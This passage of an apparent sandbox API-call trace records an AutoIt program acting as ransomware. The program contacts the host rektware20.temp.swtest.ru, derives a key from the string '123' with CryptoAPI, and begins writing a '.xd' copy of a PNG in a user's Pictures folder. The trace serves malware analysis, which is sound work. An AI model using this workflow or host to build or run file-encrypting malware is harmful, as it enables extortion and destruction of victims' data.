cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JJ.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="J.png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0062.961] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="png", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0062.961] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0062.961] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0062.961] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0062.961] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0062.961] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0062.961] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0062.961] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0062.961] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0062.961] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ee1c) returned 1 [0062.961] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0062.961] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0062.961] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0062.962] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0062.962] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0062.962] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0062.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0062.962] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16294a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16294a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0062.962] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0062.963] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0062.963] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0062.963] CloseHandle (hObject=0x0) returned 0 [0062.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.963] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0062.963] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0062.963] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.963] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.963] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.963] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.963] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0062.963] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.963] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0062.964] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.964] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.964] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0062.964] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.964] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.964] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.964] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.964] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.964] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0062.964] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0062.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0062.964] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0062.964] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0062.965] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0062.965] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0062.965] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa1a8) returned 1 [0062.965] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.965] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.965] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0062.965] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.965] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.965] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.965] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.966] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.966] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0062.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.966] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0062.966] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0062.966] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.966] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0062.966] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.966] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.967] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.967] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.967] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.967] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621390, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0062.967] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0062.967] CryptCreateHash (in: hProv=0x17aa1a8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0062.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629330, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.967] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0062.967] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0062.967] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629520, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0062.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.968] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.968] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0062.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x16218e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0062.968] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0062.968] CryptHashData (hHash=0x164c630, pbData=0x16293d0, dwDataLen=0x3, dwFlags=0x1) returned 1 [0062.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.968] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.968] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.968] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.968] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0062.968] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0062.968] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0062.968] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216a8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0062.969] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0062.969] CryptDeriveKey (in: hProv=0x17aa1a8, Algid=0x6610, hBaseData=0x164c630, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c770) returned 1 [0062.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.969] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.970] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.970] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0062.971] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0062.971] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0062.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0062.971] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0062.971] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0062.971] CryptDestroyHash (hHash=0x164c630) returned 1 [0062.971] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0062.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.971] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.971] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\u1co qmfe4uhz_jj.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0062.971] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0062.971] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb")) returned 0x10 [0062.972] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\E2n7ntspZkb\\U1co QmFe4UhZ_JJ.png.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\e2n7ntspzkb\\u1co qmfe4uhz_jj.png.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.972] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0062.975] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0062.975] ReadFile (in: hFile=0x2ac, 